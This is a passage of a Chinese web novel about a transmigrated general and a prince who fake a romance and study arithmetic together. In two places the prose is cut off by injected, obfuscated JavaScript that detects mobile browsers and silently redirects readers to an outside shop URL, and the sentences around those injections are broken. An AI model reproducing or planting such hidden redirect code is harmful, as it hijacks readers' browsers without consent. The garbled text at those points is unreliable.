该死,昨晚上怎么就忘记了问。费适知道得比他多,如果费适有办法呢? 萧汀正想着要不要再去一趟将军府,门外有人前来通传。 安顺开了门,再转头时一脸的微妙,“殿下……定远将军又来了。” "这么巧?"萧汀眼睛一亮。 费适站在厅里,换了身正式的衣裳,玄色直裰,腰上是同色的革带,头发束得齐整,那根紫檀木簪仍然插在发间。他手里提着一只窄长的黑漆木匣,漆面打磨得极光润,铜扣是哑光的,一看就不是市面上常见的玩意儿。 "殿下。"他行了个礼,“昨日拿了殿下的信物,今日特来回礼。” 萧汀一时没反应过来,“什么信物?” 费适抬手抚了抚鬓角,让萧汀的视线落在那根腊梅簪上。 "……哦,对。"萧汀想起来昨晚约定的一见钟情,“定情信物。” 安顺在旁边端茶的手抖了一下。 费适把木匣放在桌上,揭开铜扣,打开盖子。 里面铺着一层黑色绒布,绒布上卧着一排刀。 一共七把。长短不一,最长的不过一拃,最短的只有两指宽。刀柄用的是不同的木料,每把都不重样,打磨得温润趁手。 萧汀的手立刻伸了出去。 他拿起一把钩形刀,试了试握姿。刀柄的弧度刚好卡在虎口里,不需 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再看看大将军的脸。那张脸端正、从容,说话时看着殿下的眼神专注而温和,倒不像是作伪。 也许是真的呢。 安顺默默地把茶添满,退到了一旁。 萧汀把刀具从匣子里拿出来,在桌上铺排开,翻来覆去地看。看了足足有一盏茶的功夫,才想起来好像有件事要问费适。 还没开口,正巧费适说:“殿下若想试试新刀,不嫌弃的话,我这儿有块好料子。” “……什么料子?” 费适从袖中摸出一小块木料,不过半个巴掌大,颜色很沉,表面隐隐有光泽。 萧汀接过来,指尖一碰,“沉香?” “边角料,不值什么。但油性足,纹理好,适合试刀。” 萧汀仔细瞅了两眼,纹理确实是顶好的,而且这块料的形状恰好能刻一个小件,一朵花,或者一只小虫。 他的脑子立时就被各种刻法填满了。刚想问的事被彻底挤到了角落里,连影子都找不着。 “安顺,把我那套刻木头的家伙搬过来!” 安顺应了一声,去里间搬出萧汀的工具箱。萧汀坐下来,挑了那把弯头刀,比划了一下角度,然后对着沉香的纹理下了第一刀。 刀入木的声音跟旧刀完全不同,利落干脆,没有涩感,木屑轻易卷起,薄如蝉翼。 萧汀的嘴角立马翘了起来。 费适在他对面坐下,端着茶盏,也不着急喝,就那么看着萧汀刻木头。 这时候的萧汀和平时是完全不一样的。眼神专注,手上的动作又快又稳,嘴唇微微抿着,偶尔吹一下木屑。 费适就那样看了一会儿,垂下眼,饮了一口茶。 茶已经有些凉了。但无妨。对他来说刚刚好。 原书里,眼前这位九皇子作为太子一脉,在太子事发后非但没事,反而领着圣旨和官兵加入了清算的行列。 费家上下三十六口的命运,是从萧汀迈过定远将军府的门槛时开始崩塌的。 而现在,这只送费适上了刑台的手,正在用他送的定情信物雕着一块沉香。 费适用舌尖顶了顶压根,端起凉茶一口饮尽,放下杯盏。 他已安排人将昨日种种散了出去……九皇子夜宿将军府,定远将军拒了妹妹的亲事实为移情,两人一见倾心,自此形影不离。 传言这种东西,尤其是高高在上的贵人们狗血八卦的传言,根本不需要多费力气,保管一两日就能传遍京城各个角落。 倒要看看,和自己成了断袖的小狗腿,将来怎好意思领着圣旨来抄将军府的家门。 呵。 6. 传言 晨光初透,费适的马车已停在九皇子府大门口。门房老刘远远瞧见那车驾,老脸便笑作一朵花,迎上前去。 “大将军,来了?” 费适拎着个小布包跨下车,笑应道:“今日早了些,没扰了你们殿下吧?” “没有没有,殿下已经起了,这会儿大概在花厅呢。”老刘伸手要去接那布包,费适没让,自己拎着,顺嘴问,“令郎这两日怎样了?” 老刘的笑容又撑开几分,“回将军,好些了,但……” “还是不肯出门?” 老刘讪笑了一下。 费适把布包换到另一只手上,腾出来的手拍了拍老刘的肩膀,“慢慢来,莫强求。”顿了顿,又提醒道,“还有一桩,别总拿他当病人看,也别一味责骂叫他想开些。在家里寻些能动手的活计与他做,不必多,择菜、擦桌,什么都成。让他觉着自己还有用,是被人需要的。” 老刘认真听着,一个字也不敢错漏。 他那儿子痴痴傻傻快两年了,瞧着好好一个人,整天窝在床上半分不想动弹,街坊说是撞了邪,请过大夫也求过神婆,吃药烧香样样试过,半点用处也无。 倒是前几日他同人抱怨时不巧被大将军听见,随口指点了几句,竟意外有了起色。 他不懂这里面的道理。他就是个看门的,大半辈子跟门墩儿打交道,儿子傻了就去求神拜佛,拜完了不管用就接着拜,从没有人跟他说过这般贴心的话,教他那早已发木的心口,又酸又胀起来。 “大将军……”老刘搓着双手,哈着腰,“老奴不知该怎么谢您……” “举手之劳罢了。”费适淡淡一笑,末了又补一句,“回头我再想想可有更好的法子。” “诶!不扰您了,您慢走。” 老刘立在门口,目送他的背影进了院子,拿袖口擦了把脸。 费适一路往里走,院里两个小丫鬟在浇花,瞧见他便欢快行了礼,其中一个叫桂圆的笑问,“大将军,今儿又给殿下带木头来了?” “嗯,寻到几块上好的黄花梨。” “那殿下定然高兴,前儿个将军送的那块金丝楠,殿下喜欢得什么似的,雕成个手把件,夜里还抱着睡呢。” 费适笑了一下:“那是殿下抬爱了。” 桂圆嘻嘻笑了两声,又讨饶道:“好将军,可别同殿下提是我说的。” 费适但笑不语。 转过照壁,迎面碰上护卫小赵。小赵停下脚步,躬身抱拳:“大将军早。” “早。昨夜值更辛苦了。” “不辛苦。将军上回教的那套拉伸法子真好使,站了一宿腿也不酸。” 费适点点头,继续往里走。 快到花厅的时候,安顺恰巧支开纱帘出来,手里端着一盆水,老远瞅见费适便眼睛一亮,将水盆往廊下一搁,小跑过来:“大将军来了!殿下刚还念叨呢,我去通传……” “慢些,不用跑。到了门口招呼一声便是。” “那哪成。殿下吩咐过,将军若是来了,不管他在做什么,务必头一个通报。”安顺一脸认真,说完撒丫子跑了回去。 费适垂眸笑了笑。 等再走多两步,萧汀已经闻讯出门来迎。当然,迎的多半是他手里的布包。 “黄花梨?”萧汀鼻翼微动,一脸惊喜,“你带了黄花梨来?” “嗅觉真灵。” 两人挨着肩进了屋,费适将布包搁在桌上解开,萧汀立时上了手:“这块好,纹理顺。诶这块也不差,能给你刻个小把件……这蜜香可真甜啊。” 费适由着他挑拣,自顾自在罗汉床上寻了个舒服的角度,半坐半躺地靠住,吩咐安顺去备些冰饮。 没一会儿功夫,萧汀挑到块大小形状都合意的,登时来了兴致,家伙事儿一摆开,又埋头雕起木头。雕了片刻,大约是嫌厅里太静,朝费适絮叨起来:“来都来了,接着讲呗。书里还说了些什么?” 费适懒懒地答,“不是之前还说没兴趣么?怎么,知道暴君指的是你十弟,就又想吃瓜了?” 萧汀手里起着线稿,没忍住噗嗤一笑,斜了大将军一眼。 这几日他和费适几乎时时待在一起,对这人说的一些怪模怪样的词句已很有了些心得,可无论再听多少遍,依旧觉得有趣得紧。 “太子哥哥同三哥一直斗得厉害,他二人两败俱伤最后教十弟捡了便宜,这一点也不出奇,我就想知道,既提到替身,那又是替的哪一个?” 费适唇角勾了勾,可见无论什么朝代,书里还是书外,凡夫俗子最感兴趣的还是那些狗血桥段。 “你三哥即将议定的妻子,陈翰林之女陈涵之。通俗些讲,这位未来的三皇子妃,便是你十弟心中的白月光。” 萧汀手中笔一顿,抬起头来,嘴一张:“哇……兄弟争妻啊。” “可不。贵圈真乱。”费适锐评。 萧汀有心反驳,可再想想安顺同他扒过的那些前朝密辛,又不那么有底气了,只得转移话头:“那娇囚又是谁?照你说的套路,该是这个话本里的女主角了?” “不错。因生得与陈涵之有几分相似,被你十弟强取豪夺囚禁半生,相爱相杀若干年,最终登上后位的民女,名唤魏洮。这会儿,大约还在京畿某处山头上放羊。” “不是,旁的暂且不提,那姓魏的民女既然被强夺囚禁了半生,又怎能爱上如此害她之人?”萧汀匪夷所思。 恰在此时,安顺为两位主子端来了乌梅饮。 费适等他搁下托盘出去了,随手端起一碗抿了两口,这才继续开讲:“倒也不出奇,加害者将她彻底隔绝于世,再偶尔施些小恩小惠。于极端恐惧之中,受害者的认知易被扭曲,极可能对加害者生出情感依赖。我们那边还有个专用的名词来称呼,斯德哥尔摩综合症。” “……哦,这样。” 萧汀用出装懂大法,点点头,记住了这个死的是哥们儿综合症。 大半个白日,就在这样一人雕刻一人懒散品茶看书的悠闲中渡过。 此间岁月安好,外头却流言如蝗,不过几日已遍野皆是。 申时许,大将军方才离开半个时辰,安顺出门采买回来,一脸菜色地禀报萧汀,满京城都在传他和定远大将军的事儿。 “怎么传的?” "说……说您和费适大人一见钟情,夜宿将军府,如今日日形影不离。"安顺磕磕巴巴地说,“连茶楼里的说书先生都编了一段……” “编的啥?” 安顺想到那些靡靡之词,脸红到了耳根,“小的、小的不敢学。” 那多半是不太中听的。萧汀觉得无所谓。传就传呗,要的便是这个效果。 可太子觉得很有所谓。 东宫的传召来得突然,主仆俩正说起这桩事,一个小太监入了府门,道太子请九殿下过去坐坐。措辞客客气气,但那小珰跑得满头是汗,一看就是被催逼出来的。萧汀换了身规矩衣裳,跟着进了宫。 东宫寝殿内,太子坐在主位上喝茶。 萧汀进门的时候下意识扫了一眼四周,近卫在廊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516364|202852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下站着,不少于四个。和上次那条空荡荡的宫道不一样,今日一切如常。 "小九,坐吧。"太子指了指旁边的椅子。 萧汀坐下了。背挺得直直的,手规规矩矩放在膝上。 太子看了他一会儿。 “外头那些话,你可听说了?” "什么话?"萧汀装傻。 “你与费适。”太子回以单刀。 那大约是不必装了。萧汀老实点头,“是真的。” 太子端茶的手停住了。 萧汀还以为他会发怒,或者像上次那样用那种阴沉沉的眼神看他。但太子只是放下了茶盏,脸上浮现出一种很复杂的表情。 他仔细辨认了一下,嗯,除了生气还有浓浓的嫌弃。但尽都憋着,没有全数发作。 "你知不知道你在做什么?" 太子的声音很低,明显不悦,“你还没有封王,就闹出这种事。父皇要是知道了……” "父皇本来就不在意我,知道了也没甚所谓。"萧汀脱口而出。 说完他就后悔了。一时没过脑子说了真话,太子的脸色都变了。那种嫌弃退了下去,整个冷冰冰的。 "小九。"太子的语调愈发低沉,“你是在怪父皇,在怪孤?” "不是。"萧汀连忙说,“我当然没有怪太子哥哥。要不是您,小九早就……早就不知投胎去了哪里。” 太子盯着他看了几息,勉强把那股冷意收了收,重新靠回椅背。 “你跟费适,到底是什么时候的事?” “上月他班师回朝时看对了眼,至于定情……就这些天。” "这些天?"太子的眉头拧起来,“他拒了婚,莫非为了你……小九,你可知骗我的下场?” “绝无欺瞒。”萧汀垂着脑袋说。 太子长长吸口气,冷哼一声。 “你知不知道你已经彻底断了前程。一个有断袖之名的皇子,没有部臣会搭理你,父皇更不会给你封王。你这辈子就困在京邸里刻你的木头,你觉得这样很好?” 萧汀心道,总比凌迟来得好吧。 但他不能说。在太子眼里,不想争比争不过更可恨。一个废物可以被利用,一个不愿当工具的人,却再也无法掌控。 "太子哥哥教训得是。"萧汀低下头,回想起幼年最痛苦时的日子,硬生生熬红了眼眶,再抬眼轻声慢语,“但小九……小九确实心悦于他。” 太子看了他半晌,似乎想从这张脸上找到一丝后悔或动摇,但并没有。那张脸哀哀切切的,却又像一潭春水,扔一块大石头下去连水花都不溅,更遑论砸醒他。 太子的嘴角动了一下,气得不知道该怎么说。养了这么多年的棋子,又不能因为这点子私情就随便放弃。再说,本就想借姻亲捆着费适,这一遭,倒也算异曲同工。 沉默在殿里漫开,茶凉了也没人续。 就在这时,门外传来急促的脚步声。一个有些上了年纪的太监小跑进来,到了门口才刹住脚,喘着气禀报:“殿下,陛下传召,命您即刻过去。” 萧汀认识这个人。皇帝身边一个姓吕的内监,跟太子关系极好,据说小时候还伺候过太子读书。吕大珰进东宫从来不通报,连近卫都不会拦。 太子站了起来,眉头微蹙:“父皇这个时候唤我?” "是。"吕大珰喘匀了气,目光越过太子的肩膀,瞄了萧汀一眼。然后收回目光,再次转向太子,像是随口补了一句: “殿下,费大将军也在宣和殿外候着呢。” 7. 召见 萧汀随太子肩舆进了宣和殿大门时,午后日头正毒,整座宫城像被扣在一口烧红的铁锅底下。 他一眼先看见了跪在广场正中央的费适。 乌纱帽摘了,搁在身侧地上,一身绯色的武将团领衫,后背已汗湿了,脸朝前,一动不动地跪在那儿曝晒。 殿门口的几个侍卫目不斜视,这等场面在宫里实在不算稀奇。 “在此等着吧。”太子交代萧汀一句,转身和吕大珰一起进了殿。 殿内没有旁人,只有一个内官站在皇帝身后,低眉垂眼缓缓打着扇。 皇帝靠在龙椅上,面色比上次见时更差,眼窝凹陷,颧骨都有些凸出来。案上摆着几碟药丸和一碗没怎么动过的参汤,汤面已凝了一层油花,想是凉透了。 “儿臣参见父皇。” “起吧。” 太子直起身,用余光瞄着案上那碗参汤。内官向来心细,参汤凉了不换,说明皇帝不让换,是胃口太差不想喝吧。他垂下眼遮住其中的揣测。 "近日北境不算太平,蛮族叩边,烧了两座哨所。"皇帝开口,说几个字停一会子又喘一口气,“朕想派个儿子代天巡边,犒劳三军。太子觉得谁合适?” 太子故作沉思片刻:“儿臣以为九弟可堪此任。” 皇帝撩起眼皮看了他一眼,未置一词。那目光却教太子后背微微发麻。 过了几息,皇帝"嗯"了一声,依然不置可否。 太子犹豫了一下,试探道:"父皇……费将军为何跪在殿外?劳军之事,不妨问问将军。” 皇帝的眉头动了动。 "呵,这个费降虎,还真是一脑袋浆糊,他居然想弃武从文。"皇帝说,语气带着不耐烦,“世代传下的军职说丢就丢,那多少要付出些代价的。” 这话听着像极生气,太子反倒松了口气。 他太了解龙椅上这位了。皇帝真生气的时候压根不会说话,像现在这样明着抱怨两句的,反而是心情尚可。 人算是暂且保下了,可一介武夫从的什么文?真没了兵权,这棋子还有什么用? 太子压着心中惊怒低下了头,"如此……儿臣不敢多言。" 父子俩又拉杂了些旁的话,直到皇帝明显有些倦了,“行了,人选之事朕自有考量,你去吧。” 太子行礼,退了出来。经过门口的吕大珰身边时,吕大珰的眼皮动了一下,弓身行礼没再抬头。 殿门外,日头毒辣辣地照着。 萧汀蹲在廊柱的阴影里,活脱脱一只看门的石狮子。宣和殿的廊柱是朱漆的,日头一晒,漆面微微发黏,靠太近会觉得有些难闻。萧汀选了个恰到好处的距离,既能蹭到阴凉,又不至被那气味熏着。 他等了半个时辰,屁股都蹲麻了,但也不敢走。太子让他在这儿等着,那就必须得等。期间有个小内官端着水盆路过,看了他一眼,忙不迭鞠个躬加快脚步走了,大约是觉着一个皇子蹲在廊下着实诡异。 太子一出来就看向了他。心里"啧"了一声。 这笨蛋,一个皇子居然蹲在殿外廊下,跟个等主人的小厮似的,成何体统。再往远处的石板地上瞥了一眼,费适还跪在那儿晒着。这俩人,一个跪一个蹲,凑一块儿还真是…… 先前被传召时他把萧汀也拎过来,原是担心这俩断袖的事发了,他把人带着也方便求情,没曾想压根不是这么回事儿,父皇眼睛里压根看不见小九,连他是不是断袖也无所谓。 "回去吧。"太子丢下一句,脚步没停,登上肩舆便走。 “诶……”萧汀杵在原地,眼鼓鼓地看着太子仪仗消失在宫道拐角。 回去?回去干嘛。费适还在这儿呢。 他看了看不远处的费适,还是那个姿势,一动不动,跟刚跪的时候一模一样。大太阳底下石板地晒得泛白,光看着就觉得烫膝盖。 萧汀猫下身子,缩了缩腿,用双手抱住,继续蹲着。 反正他已经是个没前程的断袖了,蹲在殿外等情郎,多合理啊。 正想着,宫道上过来两个人,步履匆匆。 三皇子萧淇走在前面,一身碧色圆领袍,脚步虽快袍角却丝毫不乱,只腰间玉佩随步伐轻轻晃荡。老十萧淌跟在后面半步,板着脸,眉头拧着,像谁欠了他几万两银子。萧汀的目光在他身上多停了一瞬,哇,这便是《暴君的替身娇囚》里的那位暴君啊。 两人从萧汀面前经过,别说招呼,谁也没多看他一眼。 萧汀自然也无所谓。萧淇和萧淌是同胞兄弟,于贵妃之子,当朝宰相的外孙,也是太子的死对头,不搭理他才好。至于这二人来见父皇所为何事,他也懒得猜。 他无聊地开始数地上的蚂蚁。 一只,两只,三只……十七只……三十四只…… 日头慢慢偏了一些,廊柱的影子拉长了一截。费适还是纹丝不动,汗水已将整个后背浸透,贴在肩胛骨上,随呼吸微微起伏。 萧汀不再数蚂蚁了,只望着那影子发呆。 吕大珰端了两次水进去,又端了两次空碗出来,老三老十在里头饮了水,他们谈的时间可真不短。 又过了小半个时辰,殿门口终于飘来吕大珰的声音,“费将军,陛下口谕:起来吧,滚回去好好想清楚。” 费适依规矩行礼道谢,重新戴好乌纱帽站了起来。 跪了快两个时辰了,站起来的时候膝盖颤了颤,但他很快稳住,拖着僵硬的腿脚往外走,刚一转身,便看见廊下蹲着的萧汀朝他挥手。 费适勾起唇角冲他笑了一下。 萧汀老远就见这人的脸被晒得通红,汗水顺着鬓角直往下淌,形容有些狼狈,可他也不擦,微微眯着眼,嘴角往上挑,就那么笑着看他。 他赶紧站起来,腿麻了,一个踉跄,旋即装作什么都没发生的样子走到费适身边。 “没事了?” “嗯。没事。” “你衣裳都湿透了,赶紧回吧。” 费适轻轻拽了拽衣领,“还好。北境的冬日可比这难熬多了。” “那不一样。一个冷一个热。” “一样的,反正都是不舒服。”费适低声回应。要说穿书以来最让他怀念的,还得是现代的各种便利家电,尤其空调,冷暖皆宜,再找个舒服的地方一躺,人生不过如此。 "不一样。"萧汀较上劲了,“冷可以加衣服,热你总不能扒光了。” 费适看他一眼,唇角微动。 这时三皇子和十皇子从宣和殿出来,步子比来时慢了些,脸色也都不是很好看。萧淇的温文尔雅还能勉强挂着,萧淌则是纯纯的一张臭脸,走到广场上泄愤地踢飞了一颗小石子,石子一阵骨碌碌的乱滚,滚到费适附近才堪堪停住。 两拨人正面遇上,目光相接。 萧淇露出个礼贤下士的笑容,主动招呼:“大将军安好。” 费适回礼,“两位皇子安好。” “将军先前送来的那匹宝驹,当真乖觉得很,将军若得空,可再来我府邸看看它。” “谢殿下夸赞,一定。” 没人搭理萧汀。 萧汀心里哼了一声。但又忽然灵机一动。 等等,这不是现成的看客吗? 他和费适的断袖名声已经传遍了京城,可传闻是一回事,教人亲眼瞧见又是另一回事。不趁这机会把戏做足了,简直对不起老天爷送来的戏台子。 他往费适身边挪了半步,肩膀几乎蹭到费适身上,然后抬脸去看费适,这个角度费适正好替他挡了大半的日头,阳光有些微漏过来,刺得他微微眯眼。 萧汀在心里飞快地过了一遍自己见过的恩爱场面。话本子里写了不少,但真亲眼见过的,也就是在东宫偏殿住的那几年,偶尔撞见太子和太子妃相处。他记得太子妃总是仰着脸看太子,眼睛亮亮的,声音软软的,而太子呢,嘴角带一点笑,有时候会伸手把她鬓边的碎发拨到耳后,对,就跟费适上次在将军府教的差不多。 萧汀顿时觉得心里有谱了。 他伸出手……费适比他高了大半个头,还带着乌纱帽,计划不通。于是他选择拍了拍费适的上臂,示意“有我在”。然后他开口,语调刻意放得沉稳,尾音也 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三皇子立时瞪了弟弟一眼。萧淌生生将嘴里的话咽回去,换上副嬉皮笑脸的模样勾住兄长的肩膀,两人加快脚步走了。 萧汀目送那两道背影远去。脸上腻人的笑意立刻改了味道,坏坏地勾起一边嘴角,晃着脑袋“啧啧啧”了三声。 刚才萧淌啧他一声,他得还三声回去。 费适偏头看他。 萧汀压低声音,“瞅瞅那兄友弟恭的架势……我忍不住想看兄弟争妻了。咱那女主角啥时候才出场啊?” 费适笑答,“若没什么大变故的话,快了。” "到时候可别忘了提醒我吃瓜。"萧汀这些时日耳濡目染,学会了好些个新鲜词,正是得趣的时候,随口就想冒两句。 费适摇了摇头,抬脚往宫门外走。 出得宫门,拐入一条无人的夹道。两侧的高墙投下深深的暗影,将广场的暴晒隔作两个天地。萧汀左右看了看,确认四下无人,快步走到费适身边,伸手就去扯他的衣摆。 “做什么?”费适闪身让开,架着他的手不让乱动。 “垫子戴了么?” 费适闻言撩起一侧衣角,膝盖的位置明显比其他地方厚些,里头绑着两块厚棉垫,用布条缠得紧实,此刻已被汗浸透了。 “戴着呢,还要多谢你,救了我这双膝盖。” "是吧,我就知道。"萧汀笑眯了眼,“我想着你既然要请辞军职,父皇肯定要让你吃点苦头,跪是跑不了的。缝好了我也试过,跪多久都不会往下溜。” 费适放下衣角,又笑着看了看萧汀。 萧汀被他看得有点不自在,把目光挪开,“看什么,我以前念书经常被太傅罚跪,知道什么样的护膝最好用。” 费适看着萧汀没说话。就这些时日的接触,他觉得眼前这位反派九皇子,说是个笨蛋倒也勉强算是,但主要指某些方面太不通人情世故,人却绝对不蠢,甚至很有些小动物般的灵敏和直觉。那么,念书完全念不进,就只能是教导之人不得其法了。 两人继续往前走。走了几步,费适忽然开口:“你方才蹲在廊下做什么呢?” “数蚂蚁。还看了看你。” “看我做什么?” “看你汗流得越来越多,心想这倒霉蛋热晕了怎么办,万一把垫子露出来,该不会连累我吧?” 费适笑了一声。 萧汀也笑了,笑弯了眼,露出一点虎牙,得意洋洋的,像只叼了骨头跑回家炫耀的小狗。 费适目光顿了一下,移开视线,又问:“数了半日的蚂蚁,数清楚了吗?” “这有什么不清楚的,共有四十八只。” “嗯。那问,今有雉兔同笼,上有三十五头,下有九十四足,问雉兔各几何?” 萧汀猛地停住脚步,震惊地看向他的降虎兄…… 人言否? 费适感应到落单的脚步声,也停下来转头看他,旋即勾起一抹浅笑。 “不会也无妨,回头我教你。” 8. 算数 这日晨起,费适拎着荣盛斋刚出笼的点心,再次踏进九皇子府邸大门。 老刘远远看见他就迎上来,脸上的笑跟见着亲人似的,压低声音报喜,“费将军,我家那浑小子昨儿个出门了。” “哦?” “去了巷口,替他小妹打了份凉饮回来。人瞧着也精神了些。” 费适拍了拍他胳膊。 “甚好。别太催他,就在家附近转转,能干点小活就干点,也别夸过了头,当寻常事对待着就行。” 老刘连连点头,“懂懂懂,不当回事,当回事就又不对了。” “对,你悟性不错。” 老刘被这句夸得眉花眼笑,殷勤引着费适往里走。 如今费适进这府邸跟回自己家没什么两样,门房不通报,下人不停步,一路畅通无阻。到了主人院落,屋里却空着。院子里石桌上摊着几块破布头,地上几道泥脚印,一直延伸到后院方向。 他顺着脚印绕过一道院门,果然看见萧汀蹲在后院老梧桐树下,面前一大滩灰扑扑的泥巴。袖子撸到手肘,裤腿卷到膝盖,手上脸上全是泥点子,连头发上都挂了一小撮,正拿了根粗木棍使劲搅合那坨泥,搅得“吧嗒吧嗒”作响。 安顺蹲在旁边,手里捧着一瓢水,主子说“倒”他就倒一点,表情虔诚得像在参与什么神圣仪式。 费适倚在院门上看了一会儿。 “这是在做什么?” 萧汀抬头,左脸颊上一道泥印子,一直拉到了鼻尖,像被人拿刷子甩出来的。一看见费适,眼里迸发出热烈的光,“你来了?快来帮忙!” “帮什么忙?” “和泥啊。” “……好端端的,和泥做什么?” 萧汀只觉着脸上痒,随手一抹,那只沾满泥浆的爪子糊上去,整张脸顿时不能看了。他却浑然不觉,兴冲冲道,“你上回不是提过一种吃食吗?蓬松柔软,像云朵一样,又甜又香。我想做来尝尝,得先砌个炉子。” 安顺在旁边小声补充,“殿下从昨晚就开始琢磨了,翻了好些书也没寻着怎么砌这烤炉,今儿一大早就让我去挖了塘泥来。” “听谁说的用塘泥砌炉子?” “没有。”萧汀理直气壮,“但书上说砖瓦都是用土烧的,我想着应该也差不多,诶对了,我还往里加了碎布片,大约能更结实些?” 费适走过去蹲下,伸手捏了一撮泥,搁在指间搓了搓: “想法甚好。但这泥不大行,全是黏土没有沙,烧出来大概会裂。得掺些细沙,再弄些麦秆或稻草,合着你的碎布头掺进去拌匀了才有韧性。” 萧汀一双大眼里又多了两颗星星,“你会砌?” “没砌过。但看过相关的书,土灶和陶器的配方大同小异,关键是比例。”费适说完站起来,搓掉手上的土,“安顺,去弄点细沙来,再找点稻草。” 安顺“哎”了一声就跑,跑了两步又回头看了看主子的脸,欲言又止,到底还是跑了。 费适一声吩咐,满院佣人都忙活起来,萧汀洗了洗手,也懒得擦脸,掀开大将军带来的点心盒子好一顿风卷残云。等诸般材料备齐,费适指点着将泥、沙、稻草与碎布按比例掺好,二人便一同摔起泥来。据他的记忆,这泥要摔得越透越匀,炉子才越结实。 萧汀对此项活动热情空前,摔得超起劲,老远就能听见“啪啪啪”的震天响,泥点子也四处乱飞,原本已是一只小脏狗,片刻间便成了脏狗三人组。 泥摔好了,开始准备砌。形状是参照费适在地上画的草图,一个半人高的拱形炉膛,下面开个口添柴,侧面再开个小孔控制进风。不算复杂,就是个缩小版的土窑。 萧汀照着图这捏捏那儿捏捏,捏得有模有样,拱顶的弧度虽不太圆滑,但大致形状是没错的。 "还行。"费适端详一番。 "那当然。"萧汀用衣袖擦了把额角的汗。 炉子砌好便放在日头底下晒着,大约还得干上一两日才能用上。安顺打来清水给主子擦洗。费适洗干净了手脸,说道:“好了,玩够便该上课了。” 萧汀嘴角抽了一下,他对上课这两字属实有些过敏,前几日费适说要教他的事儿,早被他忘到爪哇国去了。 “上……什么课?” 费适从袖子里掏出个小册子递过去。 封面四个大字:小学算数。 萧汀接过来翻开一看,纸上画着一些他没见过的符号,排列得很整齐,旁边一些简单标注,再后面几页还有几何图形的画法,一页一页,自简而繁,显是精心编录过的。 "小学……是何意?"萧汀翻回封面问。 “七岁孩童所读的书院。” 萧汀的手顿了顿,抬起头看着费适,他本想瘪嘴示意一下不满,可再想想,他就没正经上过几天学。本朝童子四岁就开蒙了,学到七岁……得,他这水平还真就跟七岁孩童差不太多。大将军可真是用心良苦,还晓得因材施教。 “那数学学来有什么用?” “这么说吧,你想不想造一个冬暖夏凉的屋子?” “这谁不想?但只有神仙才能做到吧。” “普通人也做得到。冬天在屋里砌夹墙,中间留通道,把厨房的烟气引过去走一圈再排出屋外,相当于整面墙都是暖的,不用炭盆也暖和。夏天反过来,引冷水从屋顶流下来,水蒸发吸热,屋里就凉快。这些不是什么仙术,只是计算,算通道要多宽,算水流要多快,算屋顶面积和水量怎么配才不浪费。无一不是数学。” 萧汀低头又翻了一遍册子,手指无意识地在纸边蹭来蹭去,像喜欢又像不安:“这些……我能学会吗?” 费适看了他一眼,“能。这些东西不靠天赋,勤奋就可以。而且……不涉朝政,无需藏拙。” 萧汀猛地抬头,盯着费适好半晌没说话。 费适恍若不觉,抬手指了指册子最开始的内容,"来,先看这个。这叫阿拉伯数字,一到十,每个符号对应一个数。要先把这十个符号记住。”说着话,他引着人往花厅走。 萧汀认真看着,不自觉乖乖地跟人进了屋。 到了桌边,费适摆好了纸墨,接着教竖式加法,个位对个位,十位对十位,从右往左算。教完之后让萧汀自己算一遍。 萧汀拿着笔,在纸上照着画了一遍符号,歪歪扭扭的,然后开始算。最后得出个数字。末了得出一数,抬头望向费适,眼含几分不确定:“对吗?” “对。极好。” 萧汀肩膀顿时松了下去。 他继续往下算,越算越快,到第四个加法的时候已经不用对照符号表了,笔迹也工整了一些。 费适在旁边看着,没出声扰他。只注意到萧汀算的时候,浅啡色的嘴唇会微微嚅动,无声念叨着,念完了才敢落笔。每算完一个都要抬头看他一眼做确认,像只试探着过河的小狗狗,踩一步木桥又眼巴巴地回头,看看岸上的人还在不在。 "你的心算基础不差。"费适说,“算盘打的可好?” "不成,没耐性学。"萧汀低着头,把第五个例子算完了,又抬头,“这个真的比算盘还快。而且你教得好。"他说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521713|202852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完顿了顿,又补了一句,“我的意思是……以前先生教的我都听不懂,你教的我都能听懂。不知为什么。” 费适嘴角微勾。 “……大约因从前先生教的,是你该懂什么。而我教的,是你想懂什么。” 萧汀认真品了品这句话,老老实实点个头,又接着去学计算。 他正想把第五个例子再算一遍以作巩固,册子却被一只手抽走了。费适把纸翻到了后面,指着一个正六边形。 “看这个。正六边形可以分成六个等边三角形,每个角六十度,你记住这个,以后再想雕根六棱柱直接拿量角器定点就行。” “量角器是什么?” “一种制图工具,回头做给你。” “你还会做这个?” “略懂。” 萧汀看着他的侧脸,心想这个人到底还有什么不会的。 说起来,他本是从另外一个世界来的,搁在凡夫俗子眼里,真跟神仙也相差无几了。 这时候安顺忽然跑到门口,打断了二人的教学,“殿下,宫里来人了。司礼监的大珰头,说是……寻费将军。” 萧汀和费适同时起身。 前院立着个太监,萧汀并不认识,身着司礼监常服但品级不高,手里捧着圣旨,腰杆挺得笔直,脸色不算好看。见费适出来,多的话也没有,展开圣旨就念: “奉天承运,皇帝诏曰:定远大将军费适,屡次上书请辞军职、改从文路,朕准其所请。然文武之道,不可躐等,着费适即日入蒙学馆,自童生起修习科举之业,不得有误。钦此。” 青天白日的,院里却安静极了。甚至能听见宣旨太监喘着粗气的呼吸声。他头前在将军府跑了空趟子,这会儿虽然逮着了正主,却是跑了冤枉路又顶着这般暑热,多少有些个不满。 安顺没完全听懂,却觉出一股微妙气氛,扭头望向大将军。 萧汀却听懂了。 蒙学馆。 